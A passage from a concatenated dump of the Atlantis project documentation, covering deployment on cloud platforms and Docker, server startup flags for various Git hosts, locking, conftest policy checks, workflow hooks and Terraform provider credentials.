Fargate](https://aws.amazon.com/fargate/) check out the Atlantis module on the [Terraform Module Registry](https://registry.terraform.io/modules/terraform-aws-modules/atlantis/aws/latest) and then check out the [Next Steps](#next-steps). ### Google Kubernetes Engine (GKE) You can run Atlantis on GKE using the [Helm chart](#kubernetes-helm-chart) or the [manifests](#kubernetes-manifests). There is also a set of full Terraform configurations that create a GKE Cluster, Cloud Storage Backend and TLS certs: [sethvargo atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke). Once you're done, see [Next Steps](#next-steps). ### Google Compute Engine (GCE) Atlantis can be run on Google Compute Engine using a Terraform module that deploys it as a Docker container on a managed Compute Engine instance. This [Terraform module](https://registry.terraform.io/modules/runatlantis/atlantis/gce/latest) features the creation of a Cloud load balancer, a Container-Optimized OS-based VM, a persistent data disk, and a managed instance group. After it is deployed, see [Next Steps](#next-steps). ### Docker Atlantis has an [official](https://ghcr.io/runatlantis/atlantis) Docker image: `ghcr.io/runatlantis/atlantis`. #### Customization If you need to modify the Docker image that we provide, for instance to add the terragrunt binary, you can do something like this: 1. Create a custom docker file ```dockerfile FROM ghcr.io/runatlantis/atlantis:{latest version} # copy a terraform binary of the version you need USER root COPY terragrunt /usr/local/bin/terragrunt ``` Beginning with version 0.26.0, the Atlantis image has been updated to run under the atlantis user, replacing the previous root user configuration. This change necessitates adjustments in existing container definitions and scripts to accommodate the new user settings. In scenarios where additional packages from other images are required, users can temporarily switch to the root user by inserting USER root in the Dockerfile. Following the installation of necessary packages, it is advisable to revert to the atlantis user for initiating the Atlantis service. Additionally, the /docker-entrypoint.d/ directory offers a flexible option for introducing extra scripts to be executed prior to the launch of the Atlantis server. This feature is particularly beneficial for users seeking to customize their Atlantis instance without the need to develop a dedicated pipeline. **Important Notice**: There is a critical update regarding the data directory in Atlantis. In versions prior to 0.26.0, the directory was configured to be accessible by the root user. However, with the transition to the atlantis user in newer versions, it is imperative to update the directory permissions accordingly in your current deployment when upgrading to a version later than 0.26.0. This step ensures seamless access and functionality for the atlantis user. 1. Build your Docker image ```bash docker build -t {YOUR_DOCKER_ORG}/atlantis-custom . ``` 1. Run your image ```bash docker run {YOUR_DOCKER_ORG}/atlantis-custom server --gh-user=GITHUB_USERNAME --gh-token=GITHUB_TOKEN ``` ### Microsoft Azure The standard [Kubernetes Helm Chart](#kubernetes-helm-chart) should work fine on [Azure Kubernetes Service](https://docs.microsoft.com/en-us/azure/aks/intro-kubernetes). Another option is [Azure Container Instances](https://docs.microsoft.com/en-us/azure/container-instances/). See this community member's [repo](https://github.com/jplane/atlantis-on-aci) or the new and more up-to-date [Terraform module](https://github.com/getindata/terraform-azurerm-atlantis) for install scripts and more information on running Atlantis on ACI. **Note on ACI Deployment:** Due to a bug in earlier Docker releases, Docker v23.0.0 or later is required for straightforward deployment. Alternatively, the Atlantis Docker image can be pushed to a private registry such as ACR and then used. ### Roll Your Own If you want to roll your own Atlantis installation, you can get the `atlantis` binary from [GitHub](https://github.com/runatlantis/atlantis/releases) or use the [official Docker image](https://ghcr.io/runatlantis/atlantis). #### Startup Command The exact flags to `atlantis server` depends on your Git host: ##### GitHub ```bash atlantis server \ --atlantis-url="$URL" \ --gh-user="$USERNAME" \ --gh-token="$TOKEN" \ --gh-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ##### GitHub Enterprise ```bash HOSTNAME=YOUR_GITHUB_ENTERPRISE_HOSTNAME # ex. github.runatlantis.io atlantis server \ --atlantis-url="$URL" \ --gh-user="$USERNAME" \ --gh-token="$TOKEN" \ --gh-webhook-secret="$SECRET" \ --gh-hostname="$HOSTNAME" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ##### GitLab ```bash atlantis server \ --atlantis-url="$URL" \ --gitlab-user="$USERNAME" \ --gitlab-token="$TOKEN" \ --gitlab-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ##### GitLab Enterprise ```bash HOSTNAME=YOUR_GITLAB_ENTERPRISE_HOSTNAME # ex. gitlab.runatlantis.io atlantis server \ --atlantis-url="$URL" \ --gitlab-user="$USERNAME" \ --gitlab-token="$TOKEN" \ --gitlab-webhook-secret="$SECRET" \ --gitlab-hostname="$HOSTNAME" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ##### Gitea ```bash atlantis server \ --atlantis-url="$URL" \ --gitea-user="$USERNAME" \ --gitea-token="$TOKEN" \ --gitea-webhook-secret="$SECRET" \ --gitea-page-size=30 \ --repo-allowlist="$REPO_ALLOWLIST" ``` ##### Bitbucket Cloud (bitbucket.org) ```bash atlantis server \ --atlantis-url="$URL" \ --bitbucket-user="$USERNAME" \ --bitbucket-token="$TOKEN" \ --bitbucket-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ##### Bitbucket Server (aka Stash) ```bash BASE_URL=YOUR_BITBUCKET_SERVER_URL # ex. http://bitbucket.mycorp:7990 atlantis server \ --atlantis-url="$URL" \ --bitbucket-user="$USERNAME" \ --bitbucket-token="$TOKEN" \ --bitbucket-webhook-secret="$SECRET" \ --bitbucket-base-url="$BASE_URL" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ##### Azure DevOps A certificate and private key are required if using Basic authentication for webhooks. ```bash atlantis server \ --atlantis-url="$URL" \ --azuredevops-user="$USERNAME" \ --azuredevops-token="$TOKEN" \ --azuredevops-webhook-user="$ATLANTIS_AZUREDEVOPS_WEBHOOK_USER" \ --azuredevops-webhook-password="$ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD" \ --repo-allowlist="$REPO_ALLOWLIST" --ssl-cert-file=file.crt --ssl-key-file=file.key ``` Where * `$URL` is the URL that Atlantis can be reached at * `$USERNAME` is the GitHub/GitLab/Gitea/Bitbucket/AzureDevops username you generated the token for * `$TOKEN` is the access token you created. If you don't want this to be passed in as an argument for security reasons you can specify it in a config file (see [Configuration](server-configuration.md#environment-variables)) or as an environment variable: `ATLANTIS_GH_TOKEN` or `ATLANTIS_GITLAB_TOKEN` or `ATLANTIS_GITEA_TOKEN` or `ATLANTIS_BITBUCKET_TOKEN` or `ATLANTIS_AZUREDEVOPS_TOKEN` * `$SECRET` is the random key you used for the webhook secret. If you don't want this to be passed in as an argument for security reasons you can specify it in a config file (see [Configuration](server-configuration.md#environment-variables)) or as an environment variable: `ATLANTIS_GH_WEBHOOK_SECRET` or `ATLANTIS_GITLAB_WEBHOOK_SECRET` or `ATLANTIS_GITEA_WEBHOOK_SECRET` * `$REPO_ALLOWLIST` is which repos Atlantis can run on, ex. `github.com/runatlantis/*` or `github.enterprise.corp.com/*`. See [--repo-allowlist](server-configuration.md#repo-allowlist) for more details. Atlantis is now running! ::: tip We recommend running it under something like Systemd or Supervisord that will restart it in case of failure. ::: ## Next Steps * To ensure Atlantis is running, load its UI. By default Atlantis runs on port `4141`. * Now you're ready to add Webhooks to your repos. See [Configuring Webhooks](configuring-webhooks.md). ================================================ FILE: runatlantis.io/docs/faq.md ================================================ # FAQ **Q: Does Atlantis affect Terraform [remote state](https://developer.hashicorp.com/terraform/language/state/remote)?** A: No. Atlantis does not interfere with Terraform remote state in any way. Under the hood, Atlantis is simply executing `terraform plan` and `terraform apply`. **Q: How does Atlantis locking interact with Terraform [locking](https://developer.hashicorp.com/terraform/language/state/locking)?** A: Atlantis provides locking of pull requests that prevents concurrent modification of the same infrastructure (Terraform project) whereas Terraform locking only prevents two concurrent `terraform apply`'s from happening. Terraform locking can be used alongside Atlantis locking since Atlantis is simply executing terraform commands. **Q: How to run Atlantis in high availability mode? Does it need to be?** A: Atlantis server can easily be run under the supervision of an init system like `upstart` or `systemd` to make sure `atlantis server` is always running. Atlantis, by default, stores all locking and Terraform plans locally on disk under the `--data-dir` directory (defaults to `~/.atlantis`). If multiple Atlantis hosts are run by utilizing a shared redis backend, then it's important that the `data-dir` is using a shared filesystem between hosts. However, if you were to lose the data, all you would need to do is run `atlantis plan` again on the pull requests that are open. If someone tries to run `atlantis apply` after the data has been lost then they will get an error back, so they will have to re-plan anyway. **Q: How to add SSL to Atlantis server?** A: First, you'll need to get a public/private key pair to serve over SSL. These need to be in a directory accessible by Atlantis. Then start `atlantis server` with the `--ssl-cert-file` and `--ssl-key-file` flags. See `atlantis server --help` for more information. **Q: How can I get Atlantis up and running on AWS?** A: There is [terraform-aws-atlantis](https://github.com/terraform-aws-modules/terraform-aws-atlantis) project where complete Terraform configurations for running Atlantis on AWS Fargate are hosted. Tested and maintained. ================================================ FILE: runatlantis.io/docs/how-atlantis-works.md ================================================ # How Atlantis Works This section of docs talks about how Atlantis works at a deeper level. * [Locking](locking.md) * [Autoplanning](autoplanning.md) * [Automerging](automerging.md) * [Security](security.md) ================================================ FILE: runatlantis.io/docs/installation-guide.md ================================================ # Installation Guide This guide is for installing a **production-ready** instance of Atlantis onto your infrastructure: 1. First, ensure your Terraform setup meets the Atlantis **requirements** * See [Requirements](requirements.md) 1. Create **access credentials** for your Git host (GitHub, GitLab, Gitea, Bitbucket, Azure DevOps) * See [Generating Git Host Access Credentials](access-credentials.md) 1. Create a **webhook secret** so Atlantis can validate webhooks * See [Creating a Webhook Secret](webhook-secrets.md) 1. **Deploy** Atlantis into your infrastructure * See [Deployment](deployment.md) 1. Configure **Webhooks** on your Git host so Atlantis can respond to your pull requests * See [Configuring Webhooks](configuring-webhooks.md) 1. Configure **provider credentials** so Atlantis can actually run Terraform commands * See [Provider Credentials](provider-credentials.md) :::tip If you want to test out Atlantis first, check out [Test Drive](../guide/test-drive.md) and [Testing Locally](../guide/testing-locally.md). ::: ================================================ FILE: runatlantis.io/docs/locking.md ================================================ # Locking When `plan` is run, the directory and Terraform workspace are **Locked** until the pull request is merged or closed, or the plan is manually deleted. If another user attempts to `plan` for the same directory and workspace in a different pull request they'll see this error: ![Lock Comment](./images/lock-comment.png) Which links them to the pull request that holds the lock. ::: warning NOTE Only the directory in the repo and Terraform workspace are locked, not the whole repo. ::: ## Why 1. Because `atlantis apply` is being done before the pull request is merged, after an apply your `main` branch does not represent the most up-to-date version of your infrastructure anymore. With locking, you can ensure that no other changes will be made until the pull request is merged. ::: tip Why not apply on merge? Sometimes `terraform apply` fails. If the apply were to fail after the pull request was merged, you would need to create a new pull request to fix it. With locking + applying on the branch, you effectively mimic merging to main but with the added ability to re-plan/apply multiple times if things don't work. ::: 2. If there is already a `plan` in progress, other users won't see a plan that will be made invalid after the in-progress plan is applied. ## Viewing Locks To view locks, go to the URL that Atlantis is hosted at: ![Locks View](./images/locks-ui.png) You can click on a lock to view its details:

Lock Detail View

## Unlocking The project and workspace will be automatically unlocked when the PR is merged or closed. To unlock the project and workspace without completing an `apply` and merging, comment `atlantis unlock` on the PR, or click the link at the bottom of the plan comment to discard the plan and delete the lock where it says **"To discard this plan click here"**: ![Locks View](./images/lock-delete-comment.png) The link will take you to the lock detail view where you can click **Discard Plan and Unlock** to delete the lock.

Lock Detail View

Once a plan is discarded, you'll need to run `plan` again prior to running `apply` when you go back to that pull request. ## Relationship to Terraform State Locking Atlantis does not conflict with [Terraform State Locking](https://developer.hashicorp.com/terraform/language/state/locking). Under the hood, all Atlantis is doing is running `terraform plan` and `apply` and so all of the locking built in to those commands by Terraform isn't affected. In more detail, Terraform state locking locks the state while you run `terraform apply` so that multiple applies can't run concurrently. Atlantis's locking is at a higher level because it prevents multiple pull requests from working on the same state. ================================================ FILE: runatlantis.io/docs/policy-checking.md ================================================ # Conftest Policy Checking Atlantis supports running server-side [conftest](https://www.conftest.dev/) policies against the plan output. Common usecases for using this step include: - Denying usage of a list of modules - Asserting attributes of a resource at creation time - Catching unintentional resource deletions - Preventing security risks (i.e. exposing secure ports to the public) ## How it works? Enabling "policy checking" in addition to the [mergeable apply requirement](command-requirements.md#supported-requirements) blocks applies on plans that fail any of the defined conftest policies. ![Policy Check Apply Failure](./images/policy-check-apply-failure.png) ![Policy Check Apply Status Failure](./images/policy-check-apply-status-failure.png) Any failures need to either be addressed in a successive commit, or approved by top-level owner(s) of policies or the owner(s) of the policy set in question. Policy approvals are independent of the approval apply requirement which can coexist in the policy checking workflow. After policies are approved, the apply can proceed. ![Policy Check Approval](./images/policy-check-approval.png) Policy approvals may be cleared either by re-planing, or by issuing the following command: ```shell atlantis approve_policies --clear-policy-approval ``` ::: warning Any plans following the approval will discard any policy approval and prompt again for it. ::: ## Getting Started This section will provide a guide on how to get set up with a simple policy that fails creation of `null_resource`'s and requires approval from a blessed user. ### Step 1: Enable the workflow Enable the workflow using the following server configuration flag `--enable-policy-checks` ::: warning All repositories will have policy checking enabled. ::: ::: warning NOTE If you are using the [`--gh-team-allowlist`](server-configuration.md#gh-team-allowlist) flag to restrict which teams can run commands, you **must** also allowlist the `policy_check` command for policy checks to work on manual `atlantis plan` commands. For example: ```bash atlantis server --gh-team-allowlist="*:plan,*:policy_check,*:unlock,myteam:apply" ``` Alternatively, you can use `allowed_overrides: [policy_check]` in your [server-side repo config](server-side-repo-config.md). **Why is this needed?** - `policy_check` is an internal command that runs automatically after `plan` - When using team allowlists, Atlantis checks if the user is authorized to run `policy_check` - Autoplans bypass this check (they don't have a user), which is why they work without this configuration - Without allowlisting `policy_check`, manual `atlantis plan` commands will plan successfully but skip policy checks See [Repo and Project Permissions](repo-and-project-permissions.md#server-option-gh-team-allowlist) for more information about team allowlists. ::: ### Step 2: Define the policy configuration Policy Configuration is defined in the [server-side repo configuration](server-side-repo-config.md#reference). In this example we will define one policy set with one owner: ```yaml policies: owners: users: - nishkrishnan policy_sets: - name: deny_null_resource path: /policies/deny_null_resource/ source: local - name: deny_local_exec path: /policies/deny_local_exec/ source: local approve_count: 2 owners: users: - pseudomorph ``` - `name` - A name of your policy set. - `path` - Path to a policies directory. *Note: replace `` with absolute dir path to conftest policy/policies.* - `source` - Tells atlantis where to fetch the policies from. Currently you can only host policies locally by using `local`. - `owners` - Defines the users/teams which are able to approve a specific policy set. - `approve_count` - Defines the number of approvals needed to bypass policy checks. Defaults to the top-level policies configuration, if not specified. - `prevent_self_approve` - Defines whether the PR author can approve policies By default conftest is configured to only run the `main` package. If you wish to run specific/multiple policies consider passing `--namespace` or `--all-namespaces` to conftest with [`extra_args`](custom-workflows.md#adding-extra-arguments-to-terraform-commands) via a custom workflow as shown in the below example. Example Server Side Repo configuration using `--all-namespaces` and a local src dir. ```yaml repos: - id: github.com/myorg/example-repo workflow: custom policies: owners: users: - example-dev policy_sets: - name: example-conf-tests path: /home/atlantis/conftest_policies # Consider separate vcs & mount into container source: local workflows: custom: plan: steps: - init - plan policy_check: steps: - policy_check: extra_args: ["-p /home/atlantis/conftest_policies/", "--all-namespaces"] ``` ### Step 3: Write the policy Conftest policies are based on [Open Policy Agent (OPA)](https://www.openpolicyagent.org/) and written in [rego](https://www.openpolicyagent.org/docs/latest/policy-language/#what-is-rego). Following our example, simply create a `rego` file in `null_resource_warning` folder with following code, the code below a simple policy that will fail for plans containing newly created `null_resource`s. ```rego package main resource_types = {"null_resource"} # all resources resources[resource_type] = all { some resource_type resource_types[resource_type] all := [name | name:= input.resource_changes[_] name.type == resource_type ] } # number of creations of resources of a given type num_creates[resource_type] = num { some resource_type resource_types[resource_type] all := resources[resource_type] creates := [res | res:= all[_]; res.change.actions[_] == "create"] num := count(creates) } deny[msg] { num_resources := num_creates["null_resource"] num_resources > 0 msg := "null resources cannot be created" } ``` That's it! Now your Atlantis instance is configured to run policies on your Terraform plans 🎉 ## Customizing the conftest command ### Pulling policies from a remote location Conftest supports [pulling policies](https://www.conftest.dev/sharing/#pulling) from remote locations such as S3, git, OCI, and other protocols supported by the [go-getter](https://github.com/hashicorp/go-getter) library. The key [`extra_args`](custom-workflows.md#adding-extra-arguments-to-terraform-commands) can be used to pass in the [`--update`](https://www.conftest.dev/sharing/#-update-flag) flag to tell `conftest` to pull the policies into the project folder before running the policy check. ```yaml workflows: custom: plan: steps: - init - plan policy_check: steps: - policy_check: extra_args: ["--update", "s3::https://s3.amazonaws.com/bucket/foo"] ``` Note that authentication may need to be configured separately if pulling policies from sources that require it. For example, to pull policies from an S3 bucket, Atlantis host can be configured with a default AWS profile that has permission to `s3:GetObject` and `s3:ListBucket` from the S3 bucket. ### Running policy check against Terraform source code By default, Atlantis runs the policy check against the [`SHOWFILE`](custom-workflows.md#custom-run-command). In order to run the policy test against Terraform files directly, override the default `conftest` command used and pass in `*.tf` as one of the inputs to `conftest`. The `show` step is required so that Atlantis will generate the `SHOWFILE`. ```yaml workflows: custom: policy_check: steps: - show - run: conftest test $SHOWFILE *.tf --no-fail ``` ### Quiet policy checks By default, Atlantis will add a comment to all pull requests with the policy check result - both successes and failures. Version 0.21.0 added the [`--quiet-policy-checks`](server-configuration.md#quiet-policy-checks) option, which will instead only add comments when policy checks fail, significantly reducing the number of comments when most policy check results succeed. ### Data for custom run steps When the policy check workflow runs, a file is created in the working directory which contains information about the status of each policy set tested. This data may be useful in custom run steps to generate metrics or notifications. The file contains JSON data in the following format: ```json [ { "PolicySetName": "policy1", "PolicyOutput": "", "Passed": false, "ReqApprovals": 1, "CurApprovals": 0 } ] ``` ## Running policy check only on some repositories When policy checking is enabled it will be enforced on all repositories, in order to disable policy checking on some repositories first [enable policy checks](policy-checking.md#getting-started) and then disable it explicitly on each repository with the `policy_check` flag. For server side config: ```yml # repos.yaml repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] - id: /special-repo/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] policy_check: false ``` For repo level `atlantis.yaml` config: ```yml version: 3 projects: - dir: project1 workspace: staging - dir: project1 workspace: production policy_check: false ``` ================================================ FILE: runatlantis.io/docs/post-workflow-hooks.md ================================================ # Post Workflow Hooks Post workflow hooks can be defined to run scripts after default or custom workflows are executed. Post workflow hooks differ from [custom workflows](custom-workflows.md#custom-run-command) in that they are run outside of Atlantis commands. Which means they do not surface their output back to the PR as a comment. ## Usage Post workflow hooks can only be specified in the Server-Side Repo Config under the `repos` key. ## Atlantis Command Targeting By default, the workflow hook will run when any command is processed by Atlantis. This can be modified by specifying the `commands` key in the workflow hook containing a comma-delimited list of Atlantis commands that the hook should be run for. Detail of the Atlantis commands can be found in [Using Atlantis](using-atlantis.md). ### Example ```yaml repos: - id: /.*/ post_workflow_hooks: - run: ./plan-hook.sh description: Plan Hook commands: plan - run: ./plan-apply-hook.sh description: Plan & Apply Hook commands: plan, apply ``` ## Use Cases ### Cost estimation reporting You can add a post workflow hook to perform custom reporting after all workflows have finished. In this example we use a custom workflow to generate cost estimates for each workflow using [Infracost](https://www.infracost.io/docs/integrations/cicd/#cicd-integrations), then create a summary report after all workflows have completed. ```yaml # repos.yaml workflows: myworkflow: plan: steps: - init - plan - run: infracost breakdown --path=$PLANFILE --format=json --out-file=/tmp/$BASE_REPO_OWNER-$BASE_REPO_NAME-$PULL_NUM-$WORKSPACE-$REPO_REL_DIR-infracost.json repos: - id: /.*/ workflow: myworkflow post_workflow_hooks: - run: infracost output --path=/tmp/$BASE_REPO_OWNER-$BASE_REPO_NAME-$PULL_NUM-*-infracost.json --format=github-comment --out-file=/tmp/infracost-comment.md description: Running infracost # Now report the output as desired, e.g. post to GitHub as a comment. # ... ``` ## Customizing the Shell By default, the commands will be run using the 'sh' shell with an argument of '-c'. This can be customized using the `shell` and `shellArgs` keys. Example: ```yaml repos: - id: /.*/ post_workflow_hooks: - run: | echo 'atlantis.yaml config:' cat atlantis.yaml description: atlantis.yaml report shell: bash shellArgs: -cv ``` ## Reference ### Custom `run` Command This is very similar to [custom workflow run command](custom-workflows.md#custom-run-command). ```yaml - run: custom-command ``` | Key | Type | Default | Required | Description | | ----------- | ------ | ------- | -------- | --------------------- | | run | string | none | no | Run a custom command | | description | string | none | no | Post hook description | | shell | string | 'sh' | no | The shell to use for running the command | | shellArgs | string | '-c' | no | The shell arguments to use for running the command | ::: tip Notes * `run` commands are executed with the following environment variables: * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) * `PULL_NUM` - Pull request number or ID, ex. `2`. * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. * `DIR` - The absolute path to the root of the cloned repository. * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. * `COMMAND_NAME` - The name of the command that is being executed, i.e. `plan`, `apply` etc. * `COMMAND_HAS_ERRORS` - Indicates whether any errors occurred during the execution of the command (`plan`, `apply`). If set to `true`, at least one error was encountered; otherwise, it is `false`. * `OUTPUT_STATUS_FILE` - An output file to customize the success or failure status. ex. `echo 'failure' > $OUTPUT_STATUS_FILE`. ::: ================================================ FILE: runatlantis.io/docs/pre-workflow-hooks.md ================================================ # Pre Workflow Hooks Pre workflow hooks can be defined to run scripts before default or custom workflows are executed. Pre workflow hooks differ from [custom workflows](custom-workflows.md#custom-run-command) in several ways. 1. Pre workflow hooks do not require the repository configuration to be present. This can be utilized to [dynamically generate repo configs](pre-workflow-hooks.md#dynamic-repo-config-generation). 2. Pre workflow hooks are run outside of Atlantis commands. Which means they do not surface their output back to the PR as a comment. ## Usage Pre workflow hooks can only be specified in the Server-Side Repo Config under the `repos` key. ::: tip Note By default, `pre-workflow-hooks` do not prevent Atlantis from executing its workflows(`plan`, `apply`) even if a `run` command exits with an error. This behavior can be changed by setting the [fail-on-pre-workflow-hook-error](server-configuration.md#fail-on-pre-workflow-hook-error) flag in the Atlantis server configuration. ::: ## Atlantis Command Targeting By default, the workflow hook will run when any command is processed by Atlantis. This can be modified by specifying the `commands` key in the workflow hook containing a comma-delimited list of Atlantis commands that the hook should be run for. Detail of the Atlantis commands can be found in [Using Atlantis](using-atlantis.md). ### Example ```yaml repos: - id: /.*/ pre_workflow_hooks: - run: ./plan-hook.sh description: Plan Hook commands: plan - run: ./plan-apply-hook.sh description: Plan & Apply Hook commands: plan, apply ``` ## Use Cases ### Dynamic Repo Config Generation To generate the repo `atlantis.yaml` before Atlantis can parse it, add a `run` command to `pre_workflow_hooks`. Your Repo config will be generated right before Atlantis parses it. ```yaml repos: - id: /.*/ pre_workflow_hooks: - run: ./repo-config-generator.sh description: Generating configs ``` ## Customizing the Shell By default, the command will be run using the 'sh' shell with an argument of '-c'. This can be customized using the `shell` and `shellArgs` keys. Example: ```yaml repos: - id: /.*/ pre_workflow_hooks: - run: | echo "generating atlantis.yaml" terragrunt-atlantis-config generate --output atlantis.yaml --autoplan --parallel description: Generating atlantis.yaml shell: bash shellArgs: -cv ``` ## Reference ### Custom `run` Command This is very similar to the [custom workflow run command](custom-workflows.md#custom-run-command). ```yaml - run: custom-command ``` | Key | Type | Default | Required | Description | | ----------- | ------ | ------- | -------- | -------------------- | | run | string | none | no | Run a custom command | | description | string | none | no | Pre hook description | | shell | string | 'sh' | no | The shell to use for running the command | | shellArgs | string | '-c' | no | The shell arguments to use for running the command | ::: tip Notes * `run` commands are executed with the following environment variables: * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) * `PULL_NUM` - Pull request number or ID, ex. `2`. * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. * `DIR` - The absolute path to the root of the cloned repository. * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. * `COMMAND_NAME` - The name of the command that is being executed, i.e. `plan`, `apply` etc. * `OUTPUT_STATUS_FILE` - An output file to customize the success or failure status. ex. `echo 'failure' > $OUTPUT_STATUS_FILE`. ::: ================================================ FILE: runatlantis.io/docs/provider-credentials.md ================================================ # Provider Credentials Atlantis runs Terraform by simply executing `terraform plan` and `apply` commands on the server Atlantis is hosted on. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. It's up to you how you provide credentials for your specific provider to Atlantis: * The Atlantis [Helm Chart](deployment.md#kubernetes-helm-chart) and [AWS Fargate Module](deployment.md#aws-fargate) have their own mechanisms for provider credentials. Read their docs. * If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: * [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") * [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) * Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. * Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. * Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials. :::tip As a general rule, if you can `ssh` or `exec` into the server where Atlantis is running and run `terraform` commands like you would locally, then Atlantis will work. ::: ## AWS Specific Info ### Multiple AWS Accounts Atlantis supports multiple AWS accounts through the use of Terraform's [AWS Authentication](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Authentication"). If you're using the [Shared Credentials file](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Shared Credentials file") you'll need to ensure the server that Atlantis is executing on has the corresponding credentials file. If you're using [Assume role](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Assume role") you'll need to ensure that the credentials file has a `default` profile that is able to assume all required roles. Using multiple [Environment variables](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Environment variables") won't work for multiple accounts since Atlantis wouldn't know which environment variables to execute Terraform with. ### Assume Role Session Names If you're using Terraform < 0.12, Atlantis injects 5 Terraform variables that can be used to dynamically name the assume role session name. Setting the `session_name` allows you to trace API calls made through Atlantis back to a specific user and repo via CloudWatch: ```bash provider "aws" { assume_role { role_arn = "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME" session_name = "${var.atlantis_user}-${var.atlantis_repo_owner}-${var.atlantis_repo_name}-${var.atlantis_pull_num}" } } ``` Atlantis runs `terraform` with the following variables: | `-var` Argument | Description | |--------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------| | `atlantis_user=lkysow` | The VCS username of who is running the plan command. | | `atlantis_repo=runatlantis/atlantis` | The full name of the repo the pull request is in. NOTE: This variable can't be used in the AWS session name because it contains a `/`. | | `atlantis_repo_owner=runatlantis` | The name of the **owner** of the repo the pull request is in. | | `atlantis_repo_name=atlantis` | The name of the repo the pull request is in. | | `atlantis_pull_num=200` | The pull request number. | If you want to use `assume_role` with Atlantis and you're also using the [S3 Backend](https://developer.hashicorp.com/terraform/language/settings/backends/s3), make sure to add the `role_arn` option: ```bash terraform { backend "s3" { bucket = "mybucket" key = "path/to/my/key" region = "us-east-1" role_arn = "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME" # can't use var.atlantis_user as the session name because # interpolations are not allowed in backend configuration # session_name = "${var.atlantis_user}" WON'T WORK } } ``` :::tip Why does this not work in TF >= 0.12? In Terraform >= 0.12, you're not allowed to set any `-var` flags if those variables aren't being used. Since we can't know if you're using these `atlantis_*` variables, we can't set the `-var` flag. You can still set these variables yourself using the `extra_args` configuration. ::: ## Next Steps * If you want to configure Atlantis further, read [Configuring Atlantis](configuring-atlantis.md) * If you're ready to use Atlantis, read [Using Atlantis](using-atlantis.md) ================================================ FILE: runatlantis.io/docs/repo-and-project-permissions.md ================================================ # Repo and Project Permissions Sometimes it may be necessary to limit who can run which commands, such as restricting who can apply changes to production, while allowing more freedom for dev and test environments. ## Authorization Workflow Atlantis performs two authorization checks to verify a user has the necessary permissions to run a command: 1. After a command has been validated, before var files, repo metadata, or pull request statuses are checked and validated. 2. After pre workflow hooks have run, repo configuration processed, and affected projects determined. ::: tip Note The first check should be considered as validating the user for a repository as a whole, while the second check is for validating a user for a specific project in that repo. ::: ### Why check permissions twice? The way Atlantis is currently designed, not all relevant information may be available when the first check happens. In particular, affected projects are not known because pre workflow hooks haven't run yet, so repositories that use hooks to generate or modify repo configurations won't know which projects to check permissions for. ## Configuring permissions Atlantis has two options for allowing instance administrators to configure permissions. ### Server option [`--gh-team-allowlist`](server-configuration.md#gh-team-allowlist) The `--gh-team-allowlist` option allows administrators to 